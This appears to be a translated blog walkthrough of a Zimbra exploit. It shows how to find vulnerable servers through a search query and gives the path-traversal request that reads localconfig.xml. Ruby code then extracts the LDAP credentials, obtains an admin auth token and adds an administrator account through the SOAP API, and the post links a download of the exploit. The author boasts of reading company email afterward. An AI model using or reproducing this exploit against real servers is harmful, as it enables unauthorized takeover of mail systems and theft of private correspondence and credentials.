Zimbra is a company that uses many email systems and may involve many internal secrets, so it is extremely important.
This is the day: exploit-db.com that was issued on the http://www.exploit-db.com/exploits/30085/ a few days ago. The local File Inclusion Vulnerability shows localconfig. xml, and the file contains the LDAP credential. The credential is used by the API in the/service/admin/soap file to perform unauthorized operations on the mail system.
0x01 vulnerability demonstration
Search for"Make Zimbra Desktop offline", You will find many systems that use Zimbra:
We can find our target website and simply use our exp:
The prompt "Successfully" is displayed, So I log on with the new account:
You can see that there is an "Administrator console". Because this account has the administrator privilege, you can click it to manage all users. Of course, all emails from the boss of the company to the Customer Service are displayed. This is the Management Homepage:
0x02 exp running process description
Exp is written in ruby, and I didn't use python to rewrite it because it is relatively simple.
First, access the page with LFI:/res/I18nMsg, AjxMsg, ZMsg, ZmMsg, AjxKeys, ZmKeys, ZdMsg, Ajx % 20TemplateMsg. js. zgz? V = 091214175450 & skin = .. /.. /.. /.. /.. /.. /.. /.. /.. /opt/zimbra/conf/localconfig. xml % 00
req = Net::HTTP::Get.new( "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00", { "Accept-Encoding" => "gzip", "User-Agent" => "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" } )res = http.request( req )
Obtain the LDAP account and password and execute the get_auth_token function:
resbody = gz.read()part1 = resbody.gsub("\n", ' ').squeeze(' ')part2 = part1.gsub("a[", '').squeeze(' ')ldap_user = part2.match(/name=\\"zimbra_user\\">"; "<value>(.*?)<\/value>/ui)[1]ldap_pass = part2.match(/name=\\"zimbra_ldap_password\\">"; "<value>(.*?)<\/value>/ui)[1]get_auth_token(ldap_user,ldap_pass)
This function accesses/service/admin/soap and obtains the auth_key of the LDAP service in Zimbra:
def get_auth_token(user,pass)https = Net::HTTP.new( $host, 7071 )path = "/service/admin/soap"https.use_ssl = truehttps.verify_mode = OpenSSL::SSL::VERIFY_NONEbody = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><env:Envelope xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:ns1=\"urn:zimbraAdmin\" xmlns:ns2=\"urn:zimbraAdmin\"><env:Header><ns2:context/></env:Header><env:Body><ns1:AuthRequest><account by=\"name\">#{user}</account><password>#{pass}</password></ns1:AuthRequest></env:Body></env:Envelope>"data = https.post(path, body, { "Content-Type" => "application/soap+xml; charset=utf-8; action=\"urn:zimbraAdmin#AuthRequest\"" } )$auth_key = data.body.match(/<authToken>(.*)<\/authToken>/iu)[1]exploit()end
After obtaining the auth_key, call the exploit () function and use auth_key to call the request_soap_admin method of the utils class to add the administrator user. The request_soap_admin method uses the Zimbra API, the method is to submit the constructed xml containing auth_key to/service/admin/soap:
def request_soap_admin(api_call) @request=api_call soap_client = Net::HTTP.new( $host, 7071 ) soap_client.use_ssl = true soap_client.verify_mode = OpenSSL::SSL::VERIFY_NONE soap_path = "/service/admin/soap" soap_data = "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"><authToken>#{$auth_key}</authToken></context></soap:Header><soap:Body>#{@request}</soap:Body></soap:Envelope>" response = soap_client.post(soap_path, soap_data, { "Content-Type" => "application/soap+xml; charset=utf-8; action=\"urn:zimbraAdmin\"" } ) if response.body.match(/Error/) error_res = response.body.match(/<soap:Text>(.*?)<\/soap:Text>/ui)[1] puts "[-] Response Error" puts " [*] #{error_res}" false else return response.body end end
0x03 exp download
Http://www.exploit-db.com/sploits/zimbraexploit_rubina119.zip